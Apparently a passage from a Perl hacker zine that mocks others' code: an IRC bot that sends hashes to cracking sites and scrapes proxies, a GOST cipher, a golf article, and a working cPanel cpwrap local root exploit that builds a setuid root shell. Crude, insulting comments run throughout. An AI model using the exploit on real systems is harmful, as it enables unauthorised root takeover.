781IO::Socket::INET->new(PeerAddr=>'80.190.251.212',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
782"Error: Connection\n";
783
784print $gethash "GET /?q=$hash&b=MD5-Search HTTP/1.0\n";
785print $gethash "Host: md5.rednoize.com\n\n";
786
787$gethash3 =
788IO::Socket::INET->new(PeerAddr=>'67.18.64.178',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
789"Error: Connection\n";
790print $gethash3 "GET /find?md5=$hash HTTP/1.0\n";
791print $gethash3 "Host: us.md5.crysm.net\n\n";
792
793$gethash4 =
794IO::Socket::INET->new(PeerAddr=>'67.15.126.34',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
795"Error: Connection\n";
796print $gethash4 "POST / HTTP/1.1\n";
797print $gethash4 "Host: www.md5decrypt.com\n";
798print $gethash4 "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719
799Firefox/1.5.0.5\n";
800print $gethash4 "Accept:
801text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
802\n";
803print $gethash4 "Accept-Language: en-us,en;q=0.5\n";
804print $gethash4 "Accept-Encoding: gzip,deflate\n";
805print $gethash4 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n";
806print $gethash4 "Keep-Alive: 300\n";
807print $gethash4 "Connection: keep-alive\n";
808print $gethash4 "Referer: http://www.md5decrypt.com/\n";
809print $gethash4 "Content-Type: application/x-www-form-urlencoded\n";
810print $gethash4 "Content-Length: 43\n";
811print $gethash4 "\n";
812print $gethash4 "h=$hash&s=Search\n";
813
814# Think of all the space you could have saved with a proper and easy quoting mecanism!
815
816print $con "privmsg $xnick :Hash: $hash\n";
817
818while($ghash = <$gethash>)
819{
820if($ghash =~ m/<h3>(.*?) /)
821{
822$hh = $1;
823$hh =~ s/://;
824$hh =~ s//?/;
825$hh =~ s/\n//;
826
827# tr
828
829$hh =~ s/QUIT//;
830$hh =~ s/quit//;
831
832# //i
833
834if($hh =~ m/ /)
835{
836$hh = "?????";
837}
838
839if($hh =~ m/\n/)
840{
841$hh = "?????";
842}
843
844if($hh =~ m/-/)
845{
846$hh = "?????";
847}
848
849# Those three could have been a one liner. Combined.
850
851print $con "privmsg $xnick :md5.rednoize.com : $hh\n";
852
853}
854}
855
856while($ghash3 = <$gethash3>)
857{
858if($ghash3 =~ m/<li>(.*?)<\/li>/)
859{
860$hh2 = $1;
861$hh2 =~ s/://;
862$hh2 =~ s//?/;
863$hh2 =~ s/\n//;
864$hh2 =~ s/QUIT//;
865$hh2=~ s/quit//;
866
867# What horribly lame variable cleaning
868
869if($hh2 =~ m/ /)
870{
871$hh2 = "?????";
872}
873
874if($hh2 =~ m/\n/)
875{
876$hh2 = "?????";
877}
878
879if($hh2 =~ m/:/)
880{
881$hh2 = "?????";
882}
883
884# Look at the code reuse. Everything in this program could be so much shorter
885# if you weren't a FUCKING MORON
886
887print $con "privmsg $xnick :us.md5.crysm.net : $hh2\n";
888
889}
890}
891
892while($ghash4 = <$gethash4>)
893{
894if($ghash4 =~ m/<br \/><b>(.*?)<\/b>/)
895{
896$hh3 = $1;
897$hh3 =~ s/://;
898$hh3 =~ s//?/;
899$hh3 =~ s/\n//;
900$hh3 =~ s/QUIT//;
901$hh3 =~ s/quit//;
902
903if($hh3 =~ m/ /)
904{
905$hh3 = "?????";
906}
907
908if($hh2 =~ m/\n/)
909{
910$hh3 = "?????";
911}
912
913if($hh2 =~ m/:/)
914{
915$hh3 = "?????";
916}
917
918print $con "privmsg $xnick :md5decrypt.com : $hh3\n";
919
920}
921}
922
923}
924}
925
926#generate an md5 hash..
927if($answer =~ m/\!md5gen/)
928{
929if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
930{
931$xnick = $1;
932$xident = $2;
933$xhost = $3;
934$xchannel = $4;
935$xtext = $5;
936
937@strpart = split(" ",$xtext);
938
939$str = $strpart[1];
940
941# Doesn't all of this look so FUCKING FAMILIAR
942
943$md5hash = md5_hex($str);
944
945print $con "privmsg $xchannel :String : $str\n";
946print $con "privmsg $xchannel :Result : $md5hash\n";
947
948}
949}
950
951if($answer =~ m/\!quote/)
952{
953if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
954{
955$xnick = $1;
956$xident = $2;
957$xhost = $3;
958$xchannel = $4;
959$xtext = $5;
960
961
962$ran = int(rand(44));
963
964switch($ran){
965
966# How about all of these go into an array, and then instead of this switch statement,
967# you do something like this:
968
969# print $con $lamejokes[int rand 44];
970
971# Or would that be too outside-the-box for your stupid, moronic mind?
972
973case 0 { print $con "privmsg $xchannel : I do not fear computers. I fear the lack of them. - Isaac
974Asimov -\n"}
975case 1 { print $con "privmsg $xchannel : Computer science is no more about computers than astronomy
976is about telescopes. - Edsger Dijkstra -\n"}
977case 2 { print $con "privmsg $xchannel : The computer is a moron. - Peter Drucker -\n"}
978case 3 { print $con "privmsg $xchannel : Computers are so badly designed! - Brian Eno -\n"}
979case 4 { print $con "privmsg $xchannel : Computers are magnificent tools for the realization of our
980dreams, but no machine can replace the human spark of spirit, compassion, love, and understanding.
981- Louis Gerstner -\n"}
982case 5 { print $con "privmsg $xchannel : The real danger is not that computers will begin to think
983like men, but that men will begin to think like computers. - Sydney J. Harris -\n"}
984case 6 { print $con "privmsg $xchannel : Supercomputers will achieve one human brain capacity by
9852010, and personal computers will do so by about 2020. - Ray Kurzweil -\n"}
986case 7 { print $con "privmsg $xchannel : Home computers are being called upon to perform many new
987functions, including the consumption of homework formerly eaten by the dog. - Doug Larson -\n"}
988case 8 { print $con "privmsg $xchannel : What do we want our kids to do? Sweep up around Japanese
989computers? - Walter F. Mondale -\n"}
990case 9 { print $con "privmsg $xchannel : Computing is not about computers any more. It is about
991living. - Nicholas Negroponte -\n"}
992case 10 { print $con "privmsg $xchannel : The good news about computers is that they do what you
993tell them to do. The bad news is that they do what you tell them to do. - Ted Nelson -\n"}
994case 11 { print $con "privmsg $xchannel : To err is human - and to blame it on a computer is even
995more so. - Robert Orben -\n"}
996case 12 { print $con "privmsg $xchannel : People think computers will keep them from making
997mistakes. They're wrong. With computers you make mistakes faster. - Adam Osborne -\n"}
998case 13 { print $con "privmsg $xchannel : They have computers, and they may have other weapons of
999mass destruction. - Janet Reno -\n"}
1000case 14 { print $con "privmsg $xchannel : Computers are useless. They can only give you answers. -
1001Pablo Picasso -\n"}
1002case 15 { print $con "privmsg $xchannel : Computers make it easier to do a lot of things, but most
1003of the things they make it easier to do don't need to be done. - Andy Rooney -\n"}
1004case 16 { print $con "privmsg $xchannel : Think? Why think! We have computers to do that for us. -
1005Jean Rostand -\n"}
1006case 17 { print $con "privmsg $xchannel : Treat your password like your toothbrush. Don't let
1007anybody else use it, and get a new one every six months. - Clifford Stoll -\n"}
1008case 18 { print $con "privmsg $xchannel : Users, collective term for those who use computers. Users
1009are divided into three types: novice, intermediate and expert.Novice Users: people who are afraid
1010that simply pressing a key might break their computer.
1011Intermediate Users: people who don't know how to fix their computer after they've just pressed a
1012key that broke it.
1013Expert Users: people who break other people's computers. - From the Jargon File. -\n"}
1014case 19 { print $con "privmsg $xchannel : Artificial intelligence ? No thank you, I don't need
1015crutches. - Szylowicz (my former assembler teacher) -\n"}
1016case 20 { print $con "privmsg $xchannel : Science is supposedly the method by which we stand on the
1017shoulders of those who came before us. In computer science, we all are standing on each others
1018feet. - G. Popek. -\n"}
1019case 21 { print $con "privmsg $xchannel : Press CTRL-ALT-DEL now for an IQ test. - At the time of
1020Win95/98/ME -\n"}
1021case 22 { print $con "privmsg $xchannel : Artificial Intelligence usually beats natural
1022stupidity.\n"}
1023case 23 { print $con "privmsg $xchannel : This manual says what our product actually does, no
1024matter what the salesman may have told you it does. - In a californian graphic board manual, 1985.
1025-\n"}
1026case 24 { print $con "privmsg $xchannel : I sit looking at this damn computer screen all day long,
1027day in and day out, week after week, and think: Man, if I could just find the 'on' switch... -
1028Zachary Good -\n"}
1029case 25 { print $con "privmsg $xchannel : Build a system that even a fool can use, and only a fool
1030will want to use it\n"}
1031case 26 { print $con "privmsg $xchannel : Making fun of AOL users is like making fun of the kid in
1032the wheel chair.\n"}
1033case 27 { print $con "privmsg $xchannel : Dude, I hate to be the bearer of bad news, but I'm afraid
1034you've been hacked — the FTP server at 127.0.0.1 has all your personal files. See for
1035yourself; just log in with your normal id.... - Classic joke on new Unix users. -\n"}
1036case 28 { print $con "privmsg $xchannel : Relax, its only ONES and ZEROS !\n"}
1037case 29 { print $con "privmsg $xchannel : I have NOT lost my mind — I have it backed up on
1038tape somewhere.\n"}
1039case 30 { print $con "privmsg $xchannel : INSERT DISK THREE' ? But I can only get two in the drive
1040!\n"}
1041case 31 { print $con "privmsg $xchannel : Daddy, why doesn't this magnet pick up this floppy disk
1042?\n"}
1043case 32 { print $con "privmsg $xchannel : Daddy, what does FORMATTING DRIVE C mean ?\n"}
1044case 33 { print $con "privmsg $xchannel : See daddy ? All the keys are in alphabetical order
1045now.\n"}
1046case 34 { print $con "privmsg $xchannel : Q- What is the difference between a computer and a woman
1047?
1048A- A woman won't accept a 3 and 1/2-inch floppy !\n"}
1049case 35 { print $con "privmsg $xchannel : When I was a teenager, Mom said I'd go blind if I didn't
1050quit doing *that*. Maybe she was right — since the invention of internet porn, computer
1051monitors keep getting bigger and bigger. ! - Bill Ervin. -\n"}
1052case 36 { print $con "privmsg $xchannel : Smash forehead on keyboard to continue...\n"}
1053case 37 { print $con "privmsg $xchannel : Where a calculator on the ENIAC is equipped with 18 000
1054vacuum tubes and weighs 30 tons, computers of the future may have only 1 000 vacuum tubes and
1055perhaps weigh 1½ tons. - Popular Mechanics, March 1949. -\n"}
1056case 38 { print $con "privmsg $xchannel : But what... is it good for ? - An engineer at the
1057Advanced Computing Systems Division of IBM, commenting on the microchip in 1968. -\n"}
1058case 39 { print $con "privmsg $xchannel : There is no reason anyone would want a computer in their
1059home. - Ken Olson, president/founder of Digital Equipment Corp., 1977. -\n"}
1060case 40 { print $con "privmsg $xchannel : There's no problem so large it can't be solved by killing
1061the user off, deleting their files, closing their account and reporting their REAL earnings to the
1062IRS. - The B.O.F.H.. - \n"}
1063case 41 { print $con "privmsg $xchannel : In the future, airplanes will be flown by a dog and a
1064pilot. And the dog's job will be to make sure that if the pilot tries to touch any of the buttons,
1065the dog bites him. - Scott Adams (author of Dilbert). -\n"}
1066case 42 { print $con "privmsg $xchannel : go shave ya mommy XD - Dj_Asim - milw0rm forums 2006 -
1067http://forum.milw0rm.com/viewtopic.php?t=1595\n"}
1068else{ print $ran}
1069
1070}
1071
1072}
1073}
1074
1075if($answer =~ m/\morning/)
1076{
1077if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
1078{
1079$xnick = $1;
1080$xident = $2;
1081$xhost = $3;
1082$xchannel = $4;
1083$xtext = $5;
1084
1085print $con "privmsg $xchannel :good morning sir..\n";
1086
1087}
1088}
1089
1090
1091
1092if($answer =~ m/\!changenick/)
1093{
1094if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
1095{
1096$xnick = $1;
1097$xident = $2;
1098$xhost = $3;
1099$xchannel = $4;
1100$xtext = $5;
1101
1102@strpart = split(" ",$xtext);
1103
1104$p = $strpart[1];
1105
1106$encpw = md5_hex($p);
1107
1108if($encpw == $pass)
1109{
1110my @array = qw/fish2fish akira alazreal alexander andy andycapp anxieties anxiety bailey batman bd
1111beetle beetlebailey billcat billthecat binkley blondie bloom bloomcounty brown capp catwoman caucas
1112cerebus charlie charliebrown clint commissioner cookie county cutter cutterjohn dagwood darkknight
1113darknight davis dopey duke feivel fievel flamingcarrot fritz fritzthecat garfield gepetto
1114greenarrow greenlantern
1115grinch grumpy hulk iest jaka jdavis jimdavis jiminy jiminycricket joanie joaniecaucas john joker
1116julius kal-el kalel linus liz lucy lyman
1117marvin melblanc mike milo mousekevitz mousekewitz mouskevitz mouskewitz mscaucas nermal nimh odie
1118oliver onefishtwofish opus ororo outland palnu papa papagepetteo peanuts penguin peterpan pigpen
1119pinhead pinnocchio pinnoccio pinocchio pinoccio pinochio popus riddler robin roz rumpelstiltzkin
1120rumplestiltzkin sally sarge schroder schroeder scrooge shoe smurf sneezey sneezy snoopy snowhite
1121snowwhite spiderman spike superman thething tinkerbell tinkerbelle twoface vanpelt watershipdown
1122wolverine wolveroach woodstock xmen ziggy zippy zonker
1123/;
1124my $draw = @array[rand @array];
1125
1126# see, that's much better. But it still should be more like:
1127
1128# my $draw = $array[rand scalar @array];
1129
1130print $con "NICK $draw\r\n";
1131
1132# Or just: print $con "NICK $array[rand scalar @array]\r\n";
1133# You wouldn't believe the parser magic that goes into making that work
1134
1135}
1136}
1137}
1138
1139#give sexual pleassure
1140
1141# Please, don't, keep your "pleassure" to yourself
1142
1143if($answer =~ m/\!inject/)
1144{
1145if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
1146{
1147$xnick = $1;
1148$xident = $2;
1149$xhost = $3;
1150$xchannel = $4;
1151$xtext = $5;
1152
1153
1154$ran = int(rand(12));
1155
1156switch($ran){
1157
1158case 0 { print $con "privmsg $xchannel : injected $xnick with an MS keyboard.....\n"}
1159case 1 { print $con "privmsg $xchannel : injected $xnick with
1160http://img91.imageshack.us/img91/2033/03zd9.jpg\n"}
1161case 2 { print $con "privmsg $xchannel : injected $xnick with
1162http://img135.imageshack.us/img135/6393/02ms6.jpg\n"}
1163case 3 { print $con "privmsg $xchannel : injected $xnick with a NASA space-shuttle.....\n"}
1164case 4 { print $con "privmsg $xchannel : injected $xnick with
1165http://img91.imageshack.us/img91/6918/lewllq5.jpg\n"}
1166case 5 { print $con "privmsg $xchannel : injected $xnick with a toothbrush.....\n"}
1167case 6 { print $con "privmsg $xchannel : injected $xnick with a pen.....\n"}
1168case 7 { print $con "privmsg $xchannel : injected $xnick with
1169http://www.servut.us/ssakari/kuvat/two_girls_kissing.jpg\n"}
1170case 8 { print $con "privmsg $xchannel : injected $xnick with http://la.gg/upl/6541c6b7.gif\n"}
1171case 9 { print $con "privmsg $xchannel : injected $xnick with a chair.....\n"}
1172case 10 { print $con "privmsg $xchannel : injected $xnick with a midget.....\n"}
1173case 11 { print $con "privmsg $xchannel : injected $xnick with a spoon.....\n"}
1174case 12 { print $con "privmsg $xchannel : injected $xnick with a fork.....\n"}
1175
1176else{ print $ran}
1177
1178}
1179 # Yea, basically the same crap as anywhere else
1180}
1181}
1182
1183#get proxies from nntime.com
1184if($answer =~ m/\!proxy/)
1185{
1186
1187if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
1188{
1189$xnick = $1;
1190$xident = $2;
1191$xhost = $3;
1192$xchannel = $4;
1193$xtext = $5;
1194
1195
1196
1197$getproxy = IO::Socket::INET->new(PeerAddr=>'66.29.36.40',PeerPort=>'80',Proto=>'tcp',Timeout=>'1')
1198|| print "Error: Connection\n";
1199
1200print $getproxy "GET /index.php HTTP/1.0\n";
1201print $getproxy "Host: www.nntime.com\n\n";
1202
1203while($proxy = <$getproxy>)
1204{
1205$proxy =~
1206m/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9
1207]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?):([0-9][0-9][0-9][0-9])/ && print $con
1208"privmsg $xnick :$1.$2.$3.$4:$5\n";
1209
1210# Well well. Isn't that a, uh, "interesting" regex
1211
1212}
1213}
1214}
1215
1216
1217
1218#auto rejoin after kick
1219if($answer =~ m/KICK $chan/)
1220{
1221
1222my @array = qw/fish2fish akira alazreal alexander andy andycapp anxieties anxiety bailey batman bd
1223beetle beetlebailey billcat billthecat binkley blondie bloom bloomcounty brown capp catwoman caucas
1224cerebus charlie charliebrown clint commissioner cookie county cutter cutterjohn dagwood darkknight
1225darknight davis dopey duke feivel fievel flamingcarrot fritz fritzthecat garfield gepetto
1226greenarrow greenlantern
1227grinch grumpy hulk iest jaka jdavis jimdavis jiminy jiminycricket joanie joaniecaucas john joker
1228julius kal-el kalel linus liz lucy lyman
1229marvin melblanc mike milo mousekevitz mousekewitz mouskevitz mouskewitz mscaucas nermal nimh odie
1230oliver onefishtwofish opus ororo outland palnu papa papagepetteo peanuts penguin peterpan pigpen
1231pinhead pinnocchio pinnoccio pinocchio pinoccio pinochio popus riddler robin roz rumpelstiltzkin
1232rumplestiltzkin sally sarge schroder schroeder scrooge shoe smurf sneezey sneezy snoopy snowhite
1233snowwhite spiderman spike superman thething tinkerbell tinkerbelle twoface vanpelt watershipdown
1234wolverine wolveroach woodstock xmen ziggy zippy zonker
1235/;
1236
1237# Almost makes me wonder why you had to redefine this massive list
1238
1239my $draw = @array[rand @array];
1240
1241
1242print $con "NICK $draw\r\n";
1243print $con "JOIN $chan\r\n";
1244}
1245
1246# Let's let the rest of this explain itself.
1247# Let is settle in your mouth, like some cheap Eastern wine
1248# Swish it around, and spit it out
1249
1250
1251#get advisory news from secunia.com
1252if($answer =~ m/\!advisories/)
1253{
1254
1255if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
1256{
1257$xnick = $1;
1258$xident = $2;
1259$xhost = $3;
1260$xchannel = $4;
1261$xtext = $5;
1262
1263$getadv =
1264IO::Socket::INET->new(PeerAddr=>'213.150.41.226',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
1265"Error: Connection\n";
1266
1267print $getadv "GET /information_partner/anonymous/o.rss HTTP/1.0\n";
1268print $getadv "Host: secunia.com\n\n";
1269
1270while($adv = <$getadv>)
1271{
1272$adv =~ m/CDATA(.*?)><\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
1273
1274$adv =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n";
1275}
1276}
1277}
1278
1279#securitynews from addict3d.org
1280if($answer =~ m/\!securitynews/)
1281{
1282if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
1283{
1284$xnick = $1;
1285$xident = $2;
1286$xhost = $3;
1287$xchannel = $4;
1288$xtext = $5;
1289
1290$gen = IO::Socket::INET->new(PeerAddr=>'84.95.245.150',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') ||
1291print "Error: Connection\n";
1292
1293print $getsecn "GET /backend_security.php HTTP/1.0\n";
1294print $getsecn "Host: addict3d.org\n\n";
1295
1296while($secn = <$getsecn>)
1297{
1298$secn =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
1299
1300$secn =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n";
1301}
1302}
1303}
1304
1305if($answer =~ m/\!technews/)
1306{
1307if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
1308{
1309$xnick = $1;
1310$xident = $2;
1311$xhost = $3;
1312$xchannel = $4;
1313$xtext = $5;
1314
1315$gettechn =
1316IO::Socket::INET->new(PeerAddr=>'84.95.245.150',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
1317"Error: Connection\n";
1318
1319print $gettechn "GET /backend_news.php HTTP/1.0\n";
1320print $gettechn "Host: addict3d.org\n\n";
1321
1322while($techn = <$gettechn>)
1323{
1324$techn =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
1325
1326$techn =~ m/<link>(.*?)<\/link>/ && print $con "privmsg $xnick :$1$2$3\n";
1327}
1328}
1329}
1330
1331
1332#get exploit news from milw0rm.com
1333if($answer =~ m/\!exploits/)
1334{
1335
1336if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
1337{
1338$xnick = $1;
1339$xident = $2;
1340$xhost = $3;
1341$xchannel = $4;
1342$xtext = $5;
1343
1344$getexp =
1345IO::Socket::INET->new(PeerAddr=>'213.150.45.196',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
1346"Error: Connection\n";
1347
1348print $getexp "GET /rss.php HTTP/1.0\n";
1349print $getexp "Host: www.milw0rm.com\n\n";
1350
1351while($exp = <$getexp>)
1352{
1353$exp =~ m/<title>(.*?)<\/title>/ && print $con "privmsg $xnick :$1$2$3\n";
1354
1355$exp =~ m/<guid>(.*?)<\/guid>/ && print $con "privmsg $xnick :$1$2$3\n";
1356
1357}
1358}
1359}
1360
1361#answer to ping requests
1362if($answer =~ m/^PING (.*?)$/gi)
1363{
1364
1365print $con "PONG ".$1."\n";
1366
1367}
1368
1369print $answer;
1370
1371
1372}
1373
1374
1375~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1376-rw------- 1 puyou puyou 1707 2007-02-26 18:19 school/vipul.txt
1377~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1378
1379Author: Vipul Ved Prakash.
1380Contact: mail@vipul.net
1381
1382
1383The Perl Code
1384
1385
1386#!/usr/bin/perl -s
1387 sub R{int$_[0]||
1388 return vec$_[1],$_[2]/4,32;int$_[0]*rand}($R)
1389 =$^=~'([\]-\`])';sub F{$u=0;grep$u|=$S->[$_][$_[0]>>
1390 $_*4&15]<<$_*4,reverse 0..7;$u<<11|$u>>21}$t=$e
1391 ||$d?join'',<>:(($p,$d)=($R,1),unpack u
1392 ,"(3=MCV7%2W'<`");@b=@t=0..15;for(
1393 ;$i<length$p;$i+=4){srand($s^=R$R,$p
1394 ,$i)}while($ci<8){grep{push@b ,splice
1395 @b,R(9),5}@t;$R[$c]=R(2 **32);@{
1396 $S->[$c++]}=@b}@h=0..7;@o =reverse
1397 @h;while($a<length
1398 $t){$v=R$R,$t,$a;
1399 $w=R$R,$t,($a+=8)-4;
1400 grep$q++%2?$v
1401 ^=F$w+$R
1402 [$$R]:( $w^=F$v+$R[$$R]),$d?(@h,(@o)
1403 x3):(( @h)x3,@o);$_.=pack N2,$w,$v}
1404 print
1405
1406
1407
1408What It Does
1409
1410The code is a diminutive implementation of the KGB block cipher, GOST, in
1411Simple Substitution Mode as described in the Soviet Standard (GOST 28147-89).
1412An English translation by Josef Pieprzyk and Leonid Tombak is available from
1413ftp://vipul.net/pub/gost/specs.ps.gz. (You don't really want to read this, a
1414functional description of the algorithm is included in this file.)
1415
1416Besides implementing the encryption algorithm, the code also also computes
1417the key-store-unit and s-box permutations as a function of the pass-phrase.
1418
1419
1420~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1421-rw------- 1 puyou puyou 1571 2007-02-26 18:19 laugh/cpanel.txt
1422~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1423
1424<Calvin> Hey Dad, know why you didn't see me all morning?? I was two-dimensional!
1425<Dad> Hmmm, I'll bet you can't do it all afternoon, too...
1426<Mom> Dear!
1427
1428#!/usr/bin/perl -w
1429
1430# use warnings, not -w preferably
1431
1432# 10/01/06 - cPanel <= 10.8.x cpwrap root exploit via mysqladmin
1433# use strict; # haha oh wait..
1434
1435my $cpwrap = "/usr/local/cpanel/bin/cpwrap";
1436my $mysqlwrap = "/usr/local/cpanel/bin/mysqlwrap";
1437my $pwd = `pwd`;
1438
1439# Cwd is core
1440
1441chomp $pwd;
1442
1443# chomp ( my $pwd = getcwd );
1444
1445$ENV{'PERL5LIB'} = "$pwd";
1446
1447# Quotes suck.
1448
1449if ( ! -x "/usr/bin/gcc" ) { die "gcc: $!\n"; }
1450if ( ! -x "$cpwrap" ) { die "$cpwrap: $!\n"; }
1451if ( ! -x "$mysqlwrap" ) { die "$mysqlwrap: $!\n"; }
1452
1453# -x $cpwrap or die "$cpwrap: $!\n";
1454
1455open (CPWRAP, "<$cpwrap") or die "Could not open $cpwrap: $!\n";
1456
1457# I like how you check, and use or, however,
1458# you should use a modern three part open statement, and preferably lexical variables
1459
1460while(<CPWRAP>) {
1461 if(/REMOTE_USER/) { die "$cpwrap is patched.\n"; }
1462}
1463close (CPWRAP);
1464
1465# yucky
1466
1467open (STRICT, ">strict.pm") or die "Can't open strict.pm: $!\n";
1468print STRICT "\$e = \"int main(){setreuid(0,0);setregid(0,0);system(\\\\\\\"/bin/bash\\\\\\\");}\";\n";
1469print STRICT "system(\"/bin/echo -n \\\"\$e\\\">Maildir.c\");\n";
1470print STRICT "system(\"/usr/bin/gcc Maildir.c -o Maildir\");\n";
1471print STRICT "system(\"/bin/chmod 4755 Maildir\");\n";
1472print STRICT "system(\"/bin/rm -f Maildir.c strict.pm\");\n";
1473close (STRICT);
1474
1475# Listen. If you use single quotes, you don't have to escape all of that.
1476
1477system("$mysqlwrap DUMPMYSQL 2>/dev/null");
1478
1479if ( -e "Maildir" ) {
1480 system("./Maildir");
1481}
1482else {
1483 unlink "strict.pm";
1484 die "Failed\n";
1485}
1486
1487# Not bad, not too bad.
1488
1489
1490~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1491-rw------- 1 puyou puyou 17138 2007-02-26 18:19 school/regex.txt
1492~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1493
1494Dueling Flamingos: The Story of the Fonality Christmas Golf Challenge
1495by eyepopslikeamosquito
1496
1497Any problem in computer science can be solved with another layer of indirection.
1498
1499-- David Wheeler
1500
1501Whee, $$$_=$_
1502
1503-- Juho Snellman celebrates finding that extra layer during the Fonality Golf Challenge
1504
1505Perl Golf is a hard and cruel game. In this report on the recent Christmas 2006 Fonality Golf
1506Challenge, I hope to not only lay bare the secrets of the golfing masters but also tell some
1507personal stories of triumph and despair that occurred during this fascinating competition.
1508
1509The Problem
1510
1511You must read a line of roman numerals from the standard input, for example:
1512II plus III minus I
1513
1514and write the result to the standard output:
1515IV
1516
1517for this example. Fonality provided a more detailed and precise problem statement.
1518
1519A Simple Solution
1520
1521Here's a simple solution to the problem:
1522
1523#!perl -lp
1524map{$_.=(!y/IVXLC/XLCDM/,I,II,III,IV,V,VI,VII,VIII,IX)[$&]while s/\d//
1525+;$$_=$n++}@R=0..3999;
1526y/mp/-+/;s/\w+/${$&}/g;$_=$R[eval]
1527
1528This easy to understand solution hopefully makes clear some of the important strategic ideas used
1529by the top golfers, namely:
1530Rather than attempting to calculate a running total, $_ is transformed in place. For example, II
1531plus III is transformed into 2 + 3. With that done, eval is employed to compute the total.
1532You don't need to write two converters: it is sufficient to write an arabic_to_roman() converter.
1533To convert the other way, simply convert 1..3999 into a table or something and do a lookup.
1534It turns out that symbolic references are crucial in this game because they are shorter than other
1535lookup techniques, such as hashes. In the simple solution above, a symbolic reference is created
1536for each roman numeral whose value is the corresponding arabic number.
1537
1538HART: The Hospelian Arabic to Roman Transform
1539
1540During a Polish Golf Tournament played in March 2004, Ton Hospel rocked the Polish golf community
1541by unleashing his miraculous magical formula to convert an arabic number to a roman numeral.
1542
1543I've decided to honour this magic formula with a name: HART (Hospelian Arabic to Roman Transform).
1544This name was inspired by the ST (Schwartzian Transform) and the GRT (Advanced Sorting - GRT -
1545Guttman Rosler Transform). If you can think of a better name, please respond away. :-)
1546
1547As you might expect, Ton's Polish hosts were astonished by his ingenuity, Grizzley remarking:
1548You should see some of Golfers after reading your explanation... eyes big like cups of tea, heart
1549attacks, etc.
1550Curiously, though he competed in this historic original Polish roman game, Grizzley did not employ
1551HART himself in the Fonality challenge, preferring his own clever (and quite short) algorithm that
1552was only seven strokes longer.
1553
1554Converting plus and minus
1555
1556This was an interesting little sub-problem featuring the versatile tr/// (aka y///) operator.
1557
1558If your goal is to transform, for example, II plus III, into 2 + 3, you might dispatch the plus and
1559minus with y/mpislun/-+/d. Of course, if you cared more about jokes than strokes, you'd rearrange
1560the letters to form y/linus.pm/ +-/ instead. :-) Which can be easily shortened, using
1561character ranges, to y/mpa-z/-+/d.
1562
1563What next? Well, if you are later using something like s/\w+/${$&}/g to convert roman numerals to
1564arabic numbers via symbolic references, a serendipitous side effect of that s/// expression is that
1565the lower case letters remaining in plus and minus will be eliminated! You can therefore shorten to
1566simply y/mp/-+/.
1567
1568As a final flourish, you can shave one further stroke by employing y/m/-/ in harness with
1569s/\w+/+${$&}/g.
1570
1571Rather than converting, for example, II plus III, into 2 + 3, the leading golfers transformed it
1572into $II +$ III instead. If you're doing that, you can employ y/isl-z/-$+/d to transform the plus
1573and minus, and s''$' to prepend the leading $. An interesting alternative, attempted early in the
1574game by Ton, is to eschew the beloved y/// operator in favour of s///, namely s'^| '+$'g and
1575s/nus/-/g, though that turns out to be one stroke longer.
1576
1577Putting it All Together
1578
1579The strategy used by the top golfers in this competition is essentially a three step process:
1580Convert, for example, II plus III, into $II +$ III.
1581Build two sets of symbolic references: one mapping roman numerals to their corresponding arabic
1582number, the other mapping (negative) numbers back to the roman numerals. Notice that you must use
1583negative numbers because you can create a symref of -42 but not 42. The building of this second set
1584is easily recognized by the surreal construct: $$$_=$_.
1585Eval the expression built in step one and put the result back into $_ for printing, courtesy of the
1586-p option.
1587
1588As is often the case in golf, one insight leads to another: if symbolic references proved useful
1589for converting one way, why not try to exploit them to convert the other way also? And, in so
1590doing, remove the need for the @R array seen in the first simple solution above.
